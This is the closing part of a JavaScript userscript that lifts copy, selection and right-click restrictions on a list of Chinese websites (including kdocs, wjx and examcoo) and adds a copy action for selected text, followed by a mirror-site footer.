  984. "fanqienovel\\.com/reader",
  985. "cooco\\.net\\.cn",
  986. "mobiletrain",
  987. "xiangqiqipu",
  988. "m\\.163\\.com",
  989. "aipiaxi",
  990. "wenku\\.csdn\\.net",
  991. "xiaoyuzhoufm\\.com",
  992. "mcmod\\.cn"
  993. ].join("|")
  994. ),
  995. init: function() {
  996. utils.hideButton();
  997. utils.enableUserSelectByCSS();
  998. utils.enableOnCopyByCapture();
  999. }
  1000. };
  1001.  
  1002. const website$1 = {
  1003. regexp: new RegExp(["wjx", "fanyi\\.baidu", "tianqi", "rrdynb", "fuwu7"].join("|")),
  1004. init: function() {
  1005. utils.hideButton();
  1006. utils.enableUserSelectByCSS();
  1007. utils.enableOnCopyByCapture();
  1008. utils.enableOnKeyDownByCapture();
  1009. utils.enableOnSelectStartByCapture();
  1010. utils.enableOnContextMenuByCapture();
  1011. }
  1012. };
  1013.  
  1014. const website = {
  1015. config: {
  1016. runAt: DOM_STAGE.START
  1017. },
  1018. regexp: new RegExp(["examcoo"].join("|")),
  1019. init: function() {
  1020. utils.hideButton();
  1021. utils.enableUserSelectByCSS();
  1022. utils.enableOnCopyByCapture();
  1023. utils.enableOnKeyDownByCapture();
  1024. utils.enableOnSelectStartByCapture();
  1025. utils.enableOnContextMenuByCapture();
  1026. }
  1027. };
  1028.  
  1029. const kdoc = {
  1030. config: {
  1031. runAt: DOM_STAGE.START
  1032. },
  1033. regexp: new RegExp("kdocs"),
  1034. init: function() {
  1035. const patch = () => {
  1036. unsafeWindow.APP && (unsafeWindow.APP.canCopy = () => true);
  1037. };
  1038. if (unsafeWindow.APP) {
  1039. patch();
  1040. } else {
  1041. let APP = void 0;
  1042. Object.defineProperty(unsafeWindow, "APP", {
  1043. configurable: false,
  1044. set: (value) => {
  1045. APP = value;
  1046. value && patch();
  1047. },
  1048. get: () => APP
  1049. });
  1050. }
  1051. }
  1052. };
  1053.  
  1054. const websites = [
  1055. website$z1,
  1056. website$s,
  1057. website$r,
  1058. website$q,
  1059. website$p,
  1060. website$o,
  1061. website$n,
  1062. website$m,
  1063. website$l,
  1064. website$k,
  1065. website$j,
  1066. website$i,
  1067. website$h,
  1068. website$g,
  1069. website$f,
  1070. website$e,
  1071. website$d,
  1072. website$c,
  1073. website$b,
  1074. website$a,
  1075. website$9,
  1076. website$t,
  1077. website$8,
  1078. website$7,
  1079. website$6,
  1080. website$5,
  1081. website$4,
  1082. website$3,
  1083. kdoc,
  1084. website$2,
  1085. website$1,
  1086. website
  1087. ];
  1088.  
  1089. let siteGetSelectedText = null;
  1090. const initWebsite = () => {
  1091. let websiteConfig = {
  1092. initCopyEvent: true,
  1093. runAt: DOM_STAGE.END,
  1094. captureInstance: false,
  1095. delay: 0
  1096. };
  1097. const mather = (regex, website) => {
  1098. if (regex.test(window.location.href)) {
  1099. if (website.config)
  1100. websiteConfig = Object.assign(websiteConfig, website.config);
  1101. if (websiteConfig.runAt === DOM_STAGE.END) {
  1102. window.addEventListener(DOM_READY, () => website.init());
  1103. } else {
  1104. website.init();
  1105. }
  1106. if (website.getSelectedText)
  1107. siteGetSelectedText = website.getSelectedText;
  1108. return true;
  1109. }
  1110. return false;
  1111. };
  1112. websites.some((website) => mather(website.regexp, website));
  1113. return websiteConfig;
  1114. };
  1115. const getSelectedText = () => {
  1116. if (siteGetSelectedText)
  1117. return siteGetSelectedText();
  1118. if (window.getSelection)
  1119. return (window.getSelection() || "").toString();
  1120. if (document.getSelection)
  1121. return (document.getSelection() || "").toString();
  1122. if (document.selection)
  1123. return document.selection.createRange().text;
  1124. return "";
  1125. };
  1126.  
  1127. (function() {
  1128. const websiteConfig = initWebsite();
  1129. initBaseEvent(websiteConfig);
  1130. initBaseStyle();
  1131. window.addEventListener(
  1132. MOUSE_UP,
  1133. (e) => {
  1134. const handler = () => {
  1135. const content = getSelectedText();
  1136. if (isEmptyContent(content)) {
  1137. instance.hide();
  1138. return "";
  1139. }
  1140. instance.onCopy(content, e);
  1141. };
  1142. websiteConfig.delay ? setTimeout(handler, websiteConfig.delay) : handler();
  1143. },
  1144. websiteConfig.captureInstance
  1145. );
  1146. })();
  1147.  
  1148. })();

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址